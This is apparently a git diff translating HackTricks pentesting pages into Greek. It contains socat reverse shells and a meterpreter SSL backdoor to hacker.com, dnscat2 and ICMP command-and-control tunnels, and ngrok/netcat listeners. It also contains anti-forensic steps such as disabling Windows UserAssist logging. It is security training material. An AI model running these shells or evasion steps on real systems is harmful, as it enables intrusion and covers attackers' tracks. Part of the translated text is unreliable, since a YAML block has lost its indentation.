TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - -### Reverse shell - +### Αντίστροφη θήκη ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ### Port2Port - ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` - -### Port2Port through socks - +### Port2Port μέσω socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` - -### Meterpreter through SSL Socat - +### Meterpreter μέσω SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -345,21 +286,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +Μπορείτε να παρακάμψετε έναν **μη αυθεντικοποιημένο διακομιστή μεσολάβησης** εκτελώντας αυτή τη γραμμή αντί για την τελευταία στην κονσόλα του θύματος: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` - [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel -**/bin/sh console** - -Create certificates on both sides: Client and Server +**/bin/sh κονσόλα** +Δημιουργήστε πιστοποιητικά και στις δύο πλευρές: Πελάτης και Διακομιστής ```bash # Execute these commands on both sides FILENAME=socatssl @@ -373,34 +310,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` - ### Remote Port2Port -Connect the local SSH port (22) to the 443 port of the attacker host - +Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου host ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +Είναι σαν μια κονσόλα PuTTY έκδοση (οι επιλογές είναι πολύ παρόμοιες με έναν ssh πελάτη). +Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στο θύμα και είναι ένας ssh πελάτης, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +Πρέπει να είστε τοπικός διαχειριστής (για οποιαδήποτε θύρα) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -410,60 +341,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +Πρέπει να έχετε **πρόσβαση RDP στο σύστημα**.\ +Κατεβάστε: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **την αποστολή πακέτων μέσω της σύνδεσης RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: - +Στον υπολογιστή-πελάτη σας, φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +Τώρα μπορούμε να **συνδεθούμε** με το **θύμα** μέσω **RDP** χρησιμοποιώντας **`mstsc.exe`**, και θα πρέπει να λάβουμε μια **ειδοποίηση** που λέει ότι το **SocksOverRDP plugin είναι ενεργοποιημένο**, και θα **ακούει** στη διεύθυνση **127.0.0.1:1080**. -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary: - +**Συνδεθείτε** μέσω **RDP** και ανεβάστε & εκτελέστε στο μηχάνημα του θύματος το δυαδικό αρχείο `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +Τώρα, επιβεβαιώστε στη μηχανή σας (επιτιθέμενος) ότι η θύρα 1080 ακούει: ``` netstat -antb | findstr 1080 ``` +Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτού του πόρου.** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Προξενήστε εφαρμογές Windows GUI -## Proxify Windows GUI Apps +Μπορείτε να κάνετε τις εφαρμογές Windows GUI να περιηγούνται μέσω ενός proxy χρησιμοποιώντας [**Proxifier**](https://www.proxifier.com/).\ +Στο **Profile -> Proxy Servers** προσθέστε τη διεύθυνση IP και τον πόρο του διακομιστή SOCKS.\ +Στο **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προξενήσετε και τις συνδέσεις προς τις διευθύνσεις IP που θέλετε να προξενήσετε. -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## Παράκαμψη proxy NTLM +Το εργαλείο που αναφέρθηκε προηγουμένως: **Rpivot**\ +**OpenVPN** μπορεί επίσης να το παρακάμψει, ρυθμίζοντας αυτές τις επιλογές στο αρχείο ρύθμισης. ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +Αυθεντικοποιεί έναν proxy και δεσμεύει μια θύρα τοπικά που προωθείται στην εξωτερική υπηρεσία που καθορίζετε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο της επιλογής σας μέσω αυτής της θύρας.\ +Για παράδειγμα, προωθήστε τη θύρα 443 ``` Username Alice Password P@ssw0rd @@ -471,13 +392,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +Τώρα, αν ρυθμίσετε για παράδειγμα στο θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας του επιτιθέμενου 2222.\ +Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην πόρτα 2222. ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Ένας αντίστροφος διακομιστής που δημιουργήθηκε από τη Microsoft. Μπορείτε να τον βρείτε εδώ: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling @@ -485,26 +405,21 @@ A reverse proxy created by Microsoft. You can find it here: [https://github.com/ [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν tun adapters και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας DNS queries. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +Ο σωλήνας θα είναι πολύ αργός. Μπορείτε να δημιουργήσετε μια συμπιεσμένη σύνδεση SSH μέσω αυτού του σωλήνα χρησιμοποιώντας: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +[**Κατεβάστε το από εδώ**](https://github.com/iagox86/dnscat2)**.** +Δημιουργεί ένα κανάλι C\&C μέσω DNS. Δεν απαιτεί δικαιώματα root. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -513,28 +428,23 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **Στο PowerShell** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +Μπορείτε να χρησιμοποιήσετε [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) για να εκτελέσετε έναν πελάτη dnscat2 στο powershell: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` - -#### **Port forwarding with dnscat** - +#### **Προώθηση θυρών με dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### Αλλαγή DNS του proxychains -#### Change proxychains DNS +Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει τα αιτήματα DNS tcp μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**. -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Τούνελ σε Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) @@ -545,18 +455,15 @@ Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request thr [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +[**Κατεβάστε το από εδώ**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh @@ -570,32 +477,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -&#xNAN;_Exposition URI are like:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **είναι ένα εργαλείο για να εκθέτει λύσεις στο Διαδίκτυο με μία γραμμή εντολής.**\ +&#xNAN;_Exposition URI είναι όπως:_ **UID.ngrok.io** -### Installation - -- Create an account: https://ngrok.com/signup -- Client download: +### Εγκατάσταση +- Δημιουργήστε έναν λογαριασμό: https://ngrok.com/signup +- Λήψη πελάτη: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### Βασικές χρήσεις -### Basic usages +**Τεκμηρίωση:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -_It is also possible to add authentication and TLS, if necessary._ - -#### Tunneling TCP +_Είναι επίσης δυνατή η προσθήκη αυθεντικοποίησης και TLS, αν είναι απαραίτητο._ +#### Τούνελινγκ TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -603,49 +506,42 @@ _It is also possible to add authentication and TLS, if necessary._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### Έκθεση αρχείων με HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` - #### Sniffing HTTP calls -_Useful for XSS,SSRF,SSTI ..._\ -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). +_Χρήσιμο για XSS, SSRF, SSTI ..._\ +Άμεσα από το stdout ή στη διεπαφή HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). #### Tunneling internal HTTP service - ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yaml απλή διαμόρφωση παράδειγμα -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: +Ανοίγει 3 τούνελ: - 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ - +- 1 HTTP με στατική έκθεση αρχείων από /tmp/httpbin/ ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcptunne - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcptunne +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## Άλλα εργαλεία για έλεγχο - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index e725dfa85..a31c43519 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Βασική Εγκληματολογική Μεθοδολογία {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Δημιουργία και Τοποθέτηση μιας Εικόνας {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Ανάλυση Κακόβουλου Λογισμικού -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Αυτή **δεν είναι απαραίτητα το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Επιθεώρηση μιας Εικόνας -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Αν σας δοθεί μια **εγκληματολογική εικόνα** μιας συσκευής μπορείτε να ξεκινήσετε **να αναλύετε τις κατατμήσεις, το σύστημα αρχείων** που χρησιμοποιείται και **να ανακτάτε** δυνητικά **ενδιαφέροντα αρχεία** (ακόμα και διαγραμμένα). Μάθετε πώς στο: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα αντικείμενα: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Βαθιά επιθεώρηση συγκεκριμένων τύπων αρχείων και Λογισμικού -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Αν έχετε ένα πολύ **ύποπτο** **αρχείο**, τότε **ανάλογα με τον τύπο αρχείου και το λογισμικό** που το δημιούργησε, αρκετές **τεχνικές** μπορεί να είναι χρήσιμες.\ +Διαβάστε την παρακάτω σελίδα για να μάθετε μερικές ενδιαφέρουσες τεχνικές: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Θέλω να κάνω μια ειδική αναφορά στη σελίδα: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Επιθεώρηση Dump Μνήμης {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Επιθεώρηση Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Αντι-Εγκληματολογικές Τεχνικές** -Keep in mind the possible use of anti-forensic techniques: +Λάβετε υπόψη τη δυνατότητα χρήσης αντι-εγκληματολογικών τεχνικών: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Κυνηγώντας Απειλές {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 94a381b98..9d44a4437 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,152 +1,152 @@ -# Anti-Forensic Techniques +# Αντι-Δικαστικές Τεχνικές {{#include ../../banners/hacktricks-training.md}} -## Timestamps +## Χρονικά Σημάδια -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` \_\_ and \_\_ `$FILE_NAME`. +Ένας επιτιθέμενος μπορεί να ενδιαφέρεται για **να αλλάξει τα χρονικά σημάδια των αρχείων** για να αποφύγει την ανίχνευση.\ +Είναι δυνατόν να βρείτε τα χρονικά σημάδια μέσα στο MFT σε χαρακτηριστικά `$STANDARD_INFORMATION` \_\_ και \_\_ `$FILE_NAME`. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +Και τα δύο χαρακτηριστικά έχουν 4 χρονικά σημάδια: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση μητρώου MFT** (MACE ή MACB). -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Ο εξερευνητής των Windows** και άλλα εργαλεία δείχνουν τις πληροφορίες από **`$STANDARD_INFORMATION`**. -### TimeStomp - Anti-forensic Tool +### TimeStomp - Αντι-δικαστικό Εργαλείο -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημάτων μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **εντοπιστεί** **ύποπτη** **δραστηριότητα**. ### Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +Το **USN Journal** (Ημερολόγιο Αριθμού Ακολουθίας Ενημέρωσης) είναι μια δυνατότητα του NTFS (σύστημα αρχείων Windows NT) που παρακολουθεί τις αλλαγές του όγκου. Το [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) εργαλείο επιτρέπει την εξέταση αυτών των αλλαγών. ![](<../../images/image (801).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +Η προηγούμενη εικόνα είναι η **έξοδος** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι κάποιες **αλλαγές πραγματοποιήθηκαν** στο αρχείο. ### $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε μια διαδικασία που ονομάζεται [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα διατηρούνται σε ένα αρχείο με όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για την ανάλυση αυτού του αρχείου και την αναγνώριση αλλαγών. ![](<../../images/image (137).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δούμε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να εντοπιστεί **σε ποιο χρόνο τροποποιήθηκαν τα χρονικά σημάδια**: ![](<../../images/image (1089).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Χρόνος δημιουργίας αρχείου +- ATIME: Χρόνος τροποποίησης αρχείου +- MTIME: Τροποποίηση μητρώου MFT του αρχείου +- RTIME: Χρόνος πρόσβασης αρχείου -### `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +### Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME` -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Ένας άλλος τρόπος για να εντοπιστούν ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνουμε το χρόνο και στα δύο χαρακτηριστικά αναζητώντας **ασυμφωνίες**. -### Nanoseconds +### Νανοδευτερόλεπτα -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**Τα χρονικά σημάδια NTFS έχουν μια **ακρίβεια** **100 νανοδευτερόλεπτα**. Έτσι, η εύρεση αρχείων με χρονικά σημάδια όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**. -### SetMace - Anti-forensic Tool +### SetMace - Αντι-δικαστικό Εργαλείο -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Αυτό το εργαλείο μπορεί να τροποποιήσει και τα δύο χαρακτηριστικά `$STARNDAR_INFORMATION` και `$FILE_NAME`. Ωστόσο, από τα Windows Vista, είναι απαραίτητο να υπάρχει ένα ζωντανό λειτουργικό σύστημα για να τροποποιηθεί αυτή η πληροφορία. -## Data Hiding +## Απόκρυψη Δεδομένων -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +Το NFTS χρησιμοποιεί ένα cluster και το ελάχιστο μέγεθος πληροφορίας. Αυτό σημαίνει ότι αν ένα αρχείο καταλαμβάνει και ένα cluster και μισό, το **υπόλοιπο μισό δεν θα χρησιμοποιηθεί ποτέ** μέχρι να διαγραφεί το αρχείο. Έτσι, είναι δυνατόν να **αποκρυφτούν δεδομένα σε αυτόν τον χώρο slack**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Υπάρχουν εργαλεία όπως το slacker που επιτρέπουν την απόκρυψη δεδομένων σε αυτόν τον "κρυφό" χώρο. Ωστόσο, μια ανάλυση του `$logfile` και του `$usnjrnl` μπορεί να δείξει ότι προστέθηκαν κάποια δεδομένα: ![](<../../images/image (1060).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Έτσι, είναι δυνατόν να ανακτηθεί ο χώρος slack χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτός ο τύπος εργαλείου μπορεί να αποθηκεύσει το περιεχόμενο κρυπτογραφημένο ή ακόμα και κρυπτογραφημένο. ## UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Αυτό είναι ένα εργαλείο που θα **σβήσει τον υπολογιστή αν ανιχνευθεί οποιαδήποτε αλλαγή στις θύρες USB**.\ +Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και **να αναθεωρήσετε κάθε εκτελέσιμο python script**. -## Live Linux Distributions +## Ζωντανές Διανομές Linux -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν είναι προσαρτημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή. -## Secure Deletion +## Ασφαλής Διαγραφή [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -## Windows Configuration +## Ρύθμιση των Windows -It's possible to disable several windows logging methods to make the forensics investigation much harder. +Είναι δυνατόν να απενεργοποιηθούν πολλές μέθοδοι καταγραφής των Windows για να καταστεί η δικαστική έρευνα πολύ πιο δύσκολη. -### Disable Timestamps - UserAssist +### Απενεργοποίηση Χρονικών Σημάτων - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Αυτό είναι ένα κλειδί μητρώου που διατηρεί ημερομηνίες και ώρες όταν εκτελείται κάθε εκτελέσιμο από τον χρήστη. -Disabling UserAssist requires two steps: +Η απενεργοποίηση του UserAssist απαιτεί δύο βήματα: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Ρυθμίστε δύο κλειδιά μητρώου, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` και `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, και τα δύο στο μηδέν για να 